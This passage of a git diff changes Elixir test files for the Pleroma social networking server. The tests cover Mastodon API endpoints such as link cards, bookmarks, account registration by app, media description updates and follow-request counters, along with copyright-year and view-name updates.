- "title" => "The Rock",
- "type" => "link",
- "url" => "https://example.com/ogp",
- "description" =>
- "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.",
- "pleroma" => %{
- "opengraph" => %{
- "image" => "http://ia.media-imdb.com/images/rock.jpg",
- "title" => "The Rock",
- "type" => "video.movie",
- "url" => "https://example.com/ogp",
- "description" =>
- "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer."
- }
- }
- }
-
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/card")
- |> json_response(200)
-
- assert response == card_data
-
- # works with private posts
- {:ok, activity} =
- CommonAPI.post(user, %{"status" => "https://example.com/ogp", "visibility" => "direct"})
-
- response_two =
- conn
- |> assign(:user, user)
- |> get("/api/v1/statuses/#{activity.id}/card")
- |> json_response(200)
-
- assert response_two == card_data
- end
-
- test "replaces missing description with an empty string", %{conn: conn, user: user} do
- {:ok, activity} =
- CommonAPI.post(user, %{"status" => "https://example.com/ogp-missing-data"})
-
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/card")
- |> json_response(:ok)
-
- assert response == %{
- "type" => "link",
- "title" => "Pleroma",
- "description" => "",
- "image" => nil,
- "provider_name" => "example.com",
- "provider_url" => "https://example.com",
- "url" => "https://example.com/ogp-missing-data",
- "pleroma" => %{
- "opengraph" => %{
- "title" => "Pleroma",
- "type" => "website",
- "url" => "https://example.com/ogp-missing-data"
- }
- }
- }
- end
- end
-
- test "bookmarks" do
- user = insert(:user)
- for_user = insert(:user)
-
- {:ok, activity1} =
- CommonAPI.post(user, %{
- "status" => "heweoo?"
- })
-
- {:ok, activity2} =
- CommonAPI.post(user, %{
- "status" => "heweoo!"
- })
-
- response1 =
- build_conn()
- |> assign(:user, for_user)
- |> post("/api/v1/statuses/#{activity1.id}/bookmark")
-
- assert json_response(response1, 200)["bookmarked"] == true
-
- response2 =
- build_conn()
- |> assign(:user, for_user)
- |> post("/api/v1/statuses/#{activity2.id}/bookmark")
-
- assert json_response(response2, 200)["bookmarked"] == true
-
- bookmarks =
- build_conn()
- |> assign(:user, for_user)
- |> get("/api/v1/bookmarks")
-
- assert [json_response(response2, 200), json_response(response1, 200)] ==
- json_response(bookmarks, 200)
-
- response1 =
- build_conn()
- |> assign(:user, for_user)
- |> post("/api/v1/statuses/#{activity1.id}/unbookmark")
-
- assert json_response(response1, 200)["bookmarked"] == false
-
- bookmarks =
- build_conn()
- |> assign(:user, for_user)
- |> get("/api/v1/bookmarks")
-
- assert [json_response(response2, 200)] == json_response(bookmarks, 200)
- end
-
- describe "conversation muting" do
- setup do
- post_user = insert(:user)
- user = insert(:user)
-
- {:ok, activity} = CommonAPI.post(post_user, %{"status" => "HIE"})
-
- [user: user, activity: activity]
- end
-
- test "mute conversation", %{conn: conn, user: user, activity: activity} do
- id_str = to_string(activity.id)
-
- assert %{"id" => ^id_str, "muted" => true} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/mute")
- |> json_response(200)
- end
-
- test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do
- {:ok, _} = CommonAPI.add_mute(user, activity)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/mute")
-
- assert json_response(conn, 400) == %{"error" => "conversation is already muted"}
- end
-
- test "unmute conversation", %{conn: conn, user: user, activity: activity} do
- {:ok, _} = CommonAPI.add_mute(user, activity)
-
- id_str = to_string(activity.id)
- user = refresh_record(user)
-
- assert %{"id" => ^id_str, "muted" => false} =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses/#{activity.id}/unmute")
- |> json_response(200)
- end
end
describe "reports" do
@@ -3155,262 +1550,18 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
end
end
- describe "scheduled activities" do
- test "creates a scheduled activity", %{conn: conn} do
- user = insert(:user)
- scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "scheduled",
- "scheduled_at" => scheduled_at
- })
-
- assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200)
- assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(scheduled_at)
- assert [] == Repo.all(Activity)
- end
-
- test "creates a scheduled activity with a media attachment", %{conn: conn} do
- user = insert(:user)
- scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
-
- file = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
+ describe "create account by app" do
+ setup do
+ valid_params = %{
+ username: "lain",
+ email: "lain@example.org",
+ password: "PlzDontHackLain",
+ agreement: true
}
- {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "media_ids" => [to_string(upload.id)],
- "status" => "scheduled",
- "scheduled_at" => scheduled_at
- })
-
- assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200)
- assert %{"type" => "image"} = media_attachment
- end
-
- test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now",
- %{conn: conn} do
- user = insert(:user)
-
- scheduled_at =
- NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{
- "status" => "not scheduled",
- "scheduled_at" => scheduled_at
- })
-
- assert %{"content" => "not scheduled"} = json_response(conn, 200)
- assert [] == Repo.all(ScheduledActivity)
- end
-
- test "returns error when daily user limit is exceeded", %{conn: conn} do
- user = insert(:user)
-
- today =
- NaiveDateTime.utc_now()
- |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
- |> NaiveDateTime.to_iso8601()
-
- attrs = %{params: %{}, scheduled_at: today}
- {:ok, _} = ScheduledActivity.create(user, attrs)
- {:ok, _} = ScheduledActivity.create(user, attrs)
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today})
-
- assert %{"error" => "daily limit exceeded"} == json_response(conn, 422)
- end
-
- test "returns error when total user limit is exceeded", %{conn: conn} do
- user = insert(:user)
-
- today =
- NaiveDateTime.utc_now()
- |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
- |> NaiveDateTime.to_iso8601()
-
- tomorrow =
- NaiveDateTime.utc_now()
- |> NaiveDateTime.add(:timer.hours(36), :millisecond)
- |> NaiveDateTime.to_iso8601()
-
- attrs = %{params: %{}, scheduled_at: today}
- {:ok, _} = ScheduledActivity.create(user, attrs)
- {:ok, _} = ScheduledActivity.create(user, attrs)
- {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow})
-
- conn =
- conn
- |> assign(:user, user)
- |> post("/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow})
-
- assert %{"error" => "total limit exceeded"} == json_response(conn, 422)
- end
-
- test "shows scheduled activities", %{conn: conn} do
- user = insert(:user)
- scheduled_activity_id1 = insert(:scheduled_activity, user: user).id |> to_string()
- scheduled_activity_id2 = insert(:scheduled_activity, user: user).id |> to_string()
- scheduled_activity_id3 = insert(:scheduled_activity, user: user).id |> to_string()
- scheduled_activity_id4 = insert(:scheduled_activity, user: user).id |> to_string()
-
- conn =
- conn
- |> assign(:user, user)
-
- # min_id
- conn_res =
- conn
- |> get("/api/v1/scheduled_statuses?limit=2&min_id=#{scheduled_activity_id1}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
-
- # since_id
- conn_res =
- conn
- |> get("/api/v1/scheduled_statuses?limit=2&since_id=#{scheduled_activity_id1}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^scheduled_activity_id4}, %{"id" => ^scheduled_activity_id3}] = result
-
- # max_id
- conn_res =
- conn
- |> get("/api/v1/scheduled_statuses?limit=2&max_id=#{scheduled_activity_id4}")
-
- result = json_response(conn_res, 200)
- assert [%{"id" => ^scheduled_activity_id3}, %{"id" => ^scheduled_activity_id2}] = result
- end
-
- test "shows a scheduled activity", %{conn: conn} do
- user = insert(:user)
- scheduled_activity = insert(:scheduled_activity, user: user)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
-
- assert %{"id" => scheduled_activity_id} = json_response(res_conn, 200)
- assert scheduled_activity_id == scheduled_activity.id |> to_string()
-
- res_conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/scheduled_statuses/404")
-
- assert %{"error" => "Record not found"} = json_response(res_conn, 404)
- end
-
- test "updates a scheduled activity", %{conn: conn} do
- user = insert(:user)
- scheduled_activity = insert(:scheduled_activity, user: user)
-
- new_scheduled_at =
- NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/scheduled_statuses/#{scheduled_activity.id}", %{
- scheduled_at: new_scheduled_at
- })
-
- assert %{"scheduled_at" => expected_scheduled_at} = json_response(res_conn, 200)
- assert expected_scheduled_at == Pleroma.Web.CommonAPI.Utils.to_masto_date(new_scheduled_at)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> put("/api/v1/scheduled_statuses/404", %{scheduled_at: new_scheduled_at})
-
- assert %{"error" => "Record not found"} = json_response(res_conn, 404)
+ [valid_params: valid_params]
end
- test "deletes a scheduled activity", %{conn: conn} do
- user = insert(:user)
- scheduled_activity = insert(:scheduled_activity, user: user)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
-
- assert %{} = json_response(res_conn, 200)
- assert nil == Repo.get(ScheduledActivity, scheduled_activity.id)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> delete("/api/v1/scheduled_statuses/#{scheduled_activity.id}")
-
- assert %{"error" => "Record not found"} = json_response(res_conn, 404)
- end
- end
-
- test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do
- user1 = insert(:user)
- user2 = insert(:user)
- user3 = insert(:user)
-
- {:ok, replied_to} = CommonAPI.post(user1, %{"status" => "cofe"})
-
- # Reply to status from another user
- conn1 =
- conn
- |> assign(:user, user2)
- |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
-
- assert %{"content" => "xD", "id" => id} = json_response(conn1, 200)
-
- activity = Activity.get_by_id_with_object(id)
-
- assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"]
- assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
-
- # Reblog from the third user
- conn2 =
- conn
- |> assign(:user, user3)
- |> post("/api/v1/statuses/#{activity.id}/reblog")
-
- assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} =
- json_response(conn2, 200)
-
- assert to_string(activity.id) == id
-
- # Getting third user status
- conn3 =
- conn
- |> assign(:user, user3)
- |> get("api/v1/timelines/home")
-
- [reblogged_activity] = json_response(conn3, 200)
-
- assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id
-
- replied_to_user = User.get_by_ap_id(replied_to.data["actor"])
- assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id
- end
-
- describe "create account by app" do
test "Account registration via Application", %{conn: conn} do
conn =
conn
@@ -3454,6 +1605,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
username: "lain",
email: "lain@example.org",
password: "PlzDontHackLain",
+ bio: "Test Bio",
agreement: true
})
@@ -3472,6 +1624,18 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert token_from_db.user.info.confirmation_pending
end
+ test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do
+ _user = insert(:user, email: "lain@example.org")
+ app_token = insert(:oauth_token, user: nil)
+
+ conn =
+ conn
+ |> put_req_header("authorization", "Bearer " <> app_token.token)
+
+ res = post(conn, "/api/v1/accounts", valid_params)
+ assert json_response(res, 400) == %{"error" => "{\"email\":[\"has already been taken\"]}"}
+ end
+
test "rate limit", %{conn: conn} do
app_token = insert(:oauth_token, user: nil)
@@ -3515,6 +1679,41 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
assert json_response(conn, :too_many_requests) == %{"error" => "Throttled"}
end
+
+ test "returns bad_request if missing required params", %{
+ conn: conn,
+ valid_params: valid_params
+ } do
+ app_token = insert(:oauth_token, user: nil)
+
+ conn =
+ conn
+ |> put_req_header("authorization", "Bearer " <> app_token.token)
+
+ res = post(conn, "/api/v1/accounts", valid_params)
+ assert json_response(res, 200)
+
+ [{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}]
+ |> Stream.zip(valid_params)
+ |> Enum.each(fn {ip, {attr, _}} ->
+ res =
+ conn
+ |> Map.put(:remote_ip, ip)
+ |> post("/api/v1/accounts", Map.delete(valid_params, attr))
+ |> json_response(400)
+
+ assert res == %{"error" => "Missing parameters"}
+ end)
+ end
+
+ test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do
+ conn =
+ conn
+ |> put_req_header("authorization", "Bearer " <> "invalid-token")
+
+ res = post(conn, "/api/v1/accounts", valid_params)
+ assert json_response(res, 403) == %{"error" => "Invalid credentials"}
+ end
end
describe "GET /api/v1/polls/:id" do
@@ -3689,148 +1888,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
end
end
- describe "GET /api/v1/statuses/:id/favourited_by" do
- setup do
- user = insert(:user)
- {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
-
- conn =
- build_conn()
- |> assign(:user, user)
-
- [conn: conn, activity: activity]
- end
-
- test "returns users who have favorited the status", %{conn: conn, activity: activity} do
- other_user = insert(:user)
- {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
-
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/favourited_by")
- |> json_response(:ok)
-
- [%{"id" => id}] = response
-
- assert id == other_user.id
- end
-
- test "returns empty array when status has not been favorited yet", %{
- conn: conn,
- activity: activity
- } do
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/favourited_by")
- |> json_response(:ok)
-
- assert Enum.empty?(response)
- end
-
- test "does not return users who have favorited the status but are blocked", %{
- conn: %{assigns: %{user: user}} = conn,
- activity: activity
- } do
- other_user = insert(:user)
- {:ok, user} = User.block(user, other_user)
-
- {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
-
- response =
- conn
- |> assign(:user, user)
- |> get("/api/v1/statuses/#{activity.id}/favourited_by")
- |> json_response(:ok)
-
- assert Enum.empty?(response)
- end
-
- test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do
- other_user = insert(:user)
- {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
-
- response =
- conn
- |> assign(:user, nil)
- |> get("/api/v1/statuses/#{activity.id}/favourited_by")
- |> json_response(:ok)
-
- [%{"id" => id}] = response
- assert id == other_user.id
- end
- end
-
- describe "GET /api/v1/statuses/:id/reblogged_by" do
- setup do
- user = insert(:user)
- {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
-
- conn =
- build_conn()
- |> assign(:user, user)
-
- [conn: conn, activity: activity]
- end
-
- test "returns users who have reblogged the status", %{conn: conn, activity: activity} do
- other_user = insert(:user)
- {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
-
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
- |> json_response(:ok)
-
- [%{"id" => id}] = response
-
- assert id == other_user.id
- end
-
- test "returns empty array when status has not been reblogged yet", %{
- conn: conn,
- activity: activity
- } do
- response =
- conn
- |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
- |> json_response(:ok)
-
- assert Enum.empty?(response)
- end
-
- test "does not return users who have reblogged the status but are blocked", %{
- conn: %{assigns: %{user: user}} = conn,
- activity: activity
- } do
- other_user = insert(:user)
- {:ok, user} = User.block(user, other_user)
-
- {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
-
- response =
- conn
- |> assign(:user, user)
- |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
- |> json_response(:ok)
-
- assert Enum.empty?(response)
- end
-
- test "does not fail on an unauthenticated request", %{conn: conn, activity: activity} do
- other_user = insert(:user)
- {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
-
- response =
- conn
- |> assign(:user, nil)
- |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
- |> json_response(:ok)
-
- [%{"id" => id}] = response
- assert id == other_user.id
- end
- end
-
describe "POST /auth/password, with valid parameters" do
setup %{conn: conn} do
user = insert(:user)
@@ -3848,6 +1905,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
end
test "it sends an email to user", %{user: user} do
+ ObanHelpers.perform_all()
token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token)
@@ -3884,13 +1942,9 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
describe "POST /api/v1/pleroma/accounts/confirmation_resend" do
setup do
- user = insert(:user)
- info_change = User.Info.confirmation_changeset(user.info, need_confirmation: true)
-
{:ok, user} =
- user
- |> Changeset.change()
- |> Changeset.put_embed(:info, info_change)
+ insert(:user)
+ |> User.change_info(&User.Info.confirmation_changeset(&1, need_confirmation: true))
|> Repo.update()
assert user.info.confirmation_pending
@@ -3908,6 +1962,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
|> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}")
|> json_response(:no_content)
+ ObanHelpers.perform_all()
+
email = Pleroma.Emails.UserEmail.account_confirmation_email(user)
notify_email = Config.get([:instance, :notify_email])
instance_name = Config.get([:instance, :name])
@@ -3963,13 +2019,15 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
Config.put([:suggestions, :enabled], true)
Config.put([:suggestions, :third_party_engine], "http://test500?{{host}}&{{user}}")
- res =
- conn
- |> assign(:user, user)
- |> get("/api/v1/suggestions")
- |> json_response(500)
+ assert capture_log(fn ->
+ res =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/suggestions")
+ |> json_response(500)
- assert res == "Something went wrong"
+ assert res == "Something went wrong"
+ end) =~ "Could not retrieve suggestions"
end
test "returns suggestions", %{conn: conn, user: user, other_user: other_user} do
@@ -3998,4 +2056,115 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
]
end
end
+
+ describe "PUT /api/v1/media/:id" do
+ setup do
+ actor = insert(:user)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ {:ok, %Object{} = object} =
+ ActivityPub.upload(
+ file,
+ actor: User.ap_id(actor),
+ description: "test-m"
+ )
+
+ [actor: actor, object: object]
+ end
+
+ test "updates name of media", %{conn: conn, actor: actor, object: object} do
+ media =
+ conn
+ |> assign(:user, actor)
+ |> put("/api/v1/media/#{object.id}", %{"description" => "test-media"})
+ |> json_response(:ok)
+
+ assert media["description"] == "test-media"
+ assert refresh_record(object).data["name"] == "test-media"
+ end
+
+ test "returns error wheb request is bad", %{conn: conn, actor: actor, object: object} do
+ media =
+ conn
+ |> assign(:user, actor)
+ |> put("/api/v1/media/#{object.id}", %{})
+ |> json_response(400)
+
+ assert media == %{"error" => "bad_request"}
+ end
+ end
+
+ describe "DELETE /auth/sign_out" do
+ test "redirect to root page", %{conn: conn} do
+ user = insert(:user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> delete("/auth/sign_out")
+
+ assert conn.status == 302
+ assert redirected_to(conn) == "/"
+ end
+ end
+
+ describe "GET /api/v1/accounts/:id/lists - account_lists" do
+ test "returns lists to which the account belongs", %{conn: conn} do
+ user = insert(:user)
+ other_user = insert(:user)
+ assert {:ok, %Pleroma.List{} = list} = Pleroma.List.create("Test List", user)
+ {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user)
+
+ res =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/#{other_user.id}/lists")
+ |> json_response(200)
+
+ assert res == [%{"id" => to_string(list.id), "title" => "Test List"}]
+ end
+ end
+
+ describe "empty_array, stubs for mastodon api" do
+ test "GET /api/v1/accounts/:id/identity_proofs", %{conn: conn} do
+ user = insert(:user)
+
+ res =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/accounts/#{user.id}/identity_proofs")
+ |> json_response(200)
+
+ assert res == []
+ end
+
+ test "GET /api/v1/endorsements", %{conn: conn} do
+ user = insert(:user)
+
+ res =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/endorsements")
+ |> json_response(200)
+
+ assert res == []
+ end
+
+ test "GET /api/v1/trends", %{conn: conn} do
+ user = insert(:user)
+
+ res =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/trends")
+ |> json_response(200)
+
+ assert res == []
+ end
+ end
end
diff --git a/test/web/mastodon_api/views/account_view_test.exs b/test/web/mastodon_api/views/account_view_test.exs
index 1d8b28339..d965f76bf 100644
--- a/test/web/mastodon_api/views/account_view_test.exs
+++ b/test/web/mastodon_api/views/account_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
@@ -67,7 +67,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: "valid html",
sensitive: false,
- pleroma: %{},
+ pleroma: %{
+ discoverable: false
+ },
fields: []
},
pleroma: %{
@@ -79,6 +81,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{},
skip_thread_containment: false
}
@@ -135,7 +139,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: user.bio,
sensitive: false,
- pleroma: %{},
+ pleroma: %{
+ discoverable: false
+ },
fields: []
},
pleroma: %{
@@ -147,6 +153,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{},
skip_thread_containment: false
}
@@ -306,7 +314,9 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
source: %{
note: user.bio,
sensitive: false,
- pleroma: %{},
+ pleroma: %{
+ discoverable: false
+ },
fields: []
},
pleroma: %{
@@ -318,6 +328,8 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
hide_favorites: true,
hide_followers: false,
hide_follows: false,
+ hide_followers_count: false,
+ hide_follows_count: false,
relationship: %{
id: to_string(user.id),
following: false,
@@ -361,8 +373,16 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
end
describe "hiding follows/following" do
- test "shows when follows/following are hidden and sets follower/following count to 0" do
- user = insert(:user, info: %{hide_followers: true, hide_follows: true})
+ test "shows when follows/followers stats are hidden and sets follow/follower count to 0" do
+ info = %{
+ hide_followers: true,
+ hide_followers_count: true,
+ hide_follows: true,
+ hide_follows_count: true
+ }
+
+ user = insert(:user, info: info)
+
other_user = insert(:user)
{:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
@@ -370,6 +390,19 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
assert %{
followers_count: 0,
following_count: 0,
+ pleroma: %{hide_follows_count: true, hide_followers_count: true}
+ } = AccountView.render("account.json", %{user: user})
+ end
+
+ test "shows when follows/followers are hidden" do
+ user = insert(:user, info: %{hide_followers: true, hide_follows: true})
+ other_user = insert(:user)
+ {:ok, user, other_user, _activity} = CommonAPI.follow(user, other_user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{
+ followers_count: 1,
+ following_count: 1,
pleroma: %{hide_follows: true, hide_followers: true}
} = AccountView.render("account.json", %{user: user})
end
@@ -386,4 +419,79 @@ defmodule Pleroma.Web.MastodonAPI.AccountViewTest do
} = AccountView.render("account.json", %{user: user, for: user})
end
end
+
+ describe "follow requests counter" do
+ test "shows zero when no follow requests are pending" do
+ user = insert(:user)
+
+ assert %{follow_requests_count: 0} =
+ AccountView.render("account.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{follow_requests_count: 0} =
+ AccountView.render("account.json", %{user: user, for: user})
+ end
+
+ test "shows non-zero when follow requests are pending" do
+ user = insert(:user, %{info: %{locked: true}})
+
+ assert %{locked: true} = AccountView.render("account.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 1} =
+ AccountView.render("account.json", %{user: user, for: user})
+ end
+
+ test "decreases when accepting a follow request" do
+ user = insert(:user, %{info: %{locked: true}})
+
+ assert %{locked: true} = AccountView.render("account.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 1} =
+ AccountView.render("account.json", %{user: user, for: user})
+
+ {:ok, _other_user} = CommonAPI.accept_follow_request(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 0} =
+ AccountView.render("account.json", %{user: user, for: user})
+ end
+
+ test "decreases when rejecting a follow request" do
+ user = insert(:user, %{info: %{locked: true}})
+
+ assert %{locked: true} = AccountView.render("account.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 1} =
+ AccountView.render("account.json", %{user: user, for: user})
+
+ {:ok, _other_user} = CommonAPI.reject_follow_request(other_user, user)
+
+ assert %{locked: true, follow_requests_count: 0} =
+ AccountView.render("account.json", %{user: user, for: user})
+ end
+
+ test "shows non-zero when historical unapproved requests are present" do
+ user = insert(:user, %{info: %{locked: true}})
+
+ assert %{locked: true} = AccountView.render("account.json", %{user: user, for: user})
+
+ other_user = insert(:user)
+ {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
+
+ {:ok, user} = User.update_info(user, &User.Info.user_upgrade(&1, %{locked: false}))
+
+ assert %{locked: false, follow_requests_count: 1} =
+ AccountView.render("account.json", %{user: user, for: user})
+ end
+ end
end
diff --git a/test/web/mastodon_api/views/list_view_test.exs b/test/web/mastodon_api/views/list_view_test.exs
index fb00310b9..59e896a7c 100644
--- a/test/web/mastodon_api/views/list_view_test.exs
+++ b/test/web/mastodon_api/views/list_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.ListViewTest do
diff --git a/test/web/mastodon_api/views/notification_view_test.exs b/test/web/mastodon_api/views/notification_view_test.exs
index 977ea1e87..86268fcfa 100644
--- a/test/web/mastodon_api/views/notification_view_test.exs
+++ b/test/web/mastodon_api/views/notification_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
@@ -28,7 +28,7 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
pleroma: %{is_seen: false},
type: "mention",
account: AccountView.render("account.json", %{user: user, for: mentioned_user}),
- status: StatusView.render("status.json", %{activity: activity, for: mentioned_user}),
+ status: StatusView.render("show.json", %{activity: activity, for: mentioned_user}),
created_at: Utils.to_masto_date(notification.inserted_at)
}
@@ -51,7 +51,7 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
pleroma: %{is_seen: false},
type: "favourite",
account: AccountView.render("account.json", %{user: another_user, for: user}),
- status: StatusView.render("status.json", %{activity: create_activity, for: user}),
+ status: StatusView.render("show.json", %{activity: create_activity, for: user}),
created_at: Utils.to_masto_date(notification.inserted_at)
}
@@ -73,7 +73,7 @@ defmodule Pleroma.Web.MastodonAPI.NotificationViewTest do
pleroma: %{is_seen: false},
type: "reblog",
account: AccountView.render("account.json", %{user: another_user, for: user}),
- status: StatusView.render("status.json", %{activity: reblog_activity, for: user}),
+ status: StatusView.render("show.json", %{activity: reblog_activity, for: user}),
created_at: Utils.to_masto_date(notification.inserted_at)
}
diff --git a/test/web/mastodon_api/views/push_subscription_view_test.exs b/test/web/mastodon_api/views/push_subscription_view_test.exs
index dc935fc82..4e4f5b7e6 100644
--- a/test/web/mastodon_api/views/push_subscription_view_test.exs
+++ b/test/web/mastodon_api/views/push_subscription_view_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.MastodonAPI.PushSubscriptionViewTest do
